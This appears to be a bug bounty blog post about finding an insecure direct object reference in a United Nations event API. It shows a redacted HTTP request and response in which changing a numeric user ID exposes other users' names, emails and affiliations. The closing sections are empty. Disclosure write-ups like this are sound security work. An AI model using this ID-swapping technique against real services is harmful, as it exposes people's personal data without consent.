1 Million users PII Leak : Hacking United Nations

My Experience of hacking into United Nations & finding a critical API misconfiguration in their systems which could lead to leak over 1 Million users PII. In this blog post, I’ll explain all the technical part and non-technical parts of it.

My Approach?

1 - So, as you might know, I don’t put so much time in recon & all of that stuff. Hence In this case I did the same.

2 - Hence, I tried very basic google dorks to discover some functional assets & eventually found some of them.

3 - My Burp was running in the background, I authorized my self to the application & started testing various functionalities.

4 - The application is responsible for organizing events in the united nations. So there are various functionalities to test.

5 - Found an API endpoint, where it loads the user data via numeric user-id. changing my user-id to someone else user-id will result in information disclosure.

How I discovered PII leak.

POST /api/principals HTTP/1.1
Host: █████.un.org
...snip...
Connection: close

{
    "values":[
        "User:{USER-ID}"
        ]
    }
Response
HTTP/1.1 200 OK
Server: nginx/1.20.1
...snip...
Connection: close

{
    "User:1459327":{
        "affiliation":"Jele█████",
        "affiliation_id":null,
        "affiliation_meta":null,
        "avatar_url":"/user/{user-id}/avatar-hash}",
        "detail":"jele█████31@gmail.com (Jele█████)",
        "email":"jele█████31@gmail.com",
        "first_name":"Jele█████",
        "identifier":"User:1459327",
        "invalid":false,
        "last_name":"█████████",
        "name":"Jele█████ ██████████",
        "title":"none",
        "type":"user",
        "user_id":1459327
        }
    }

Impact

Conclusion

Timeline

first_response

first_response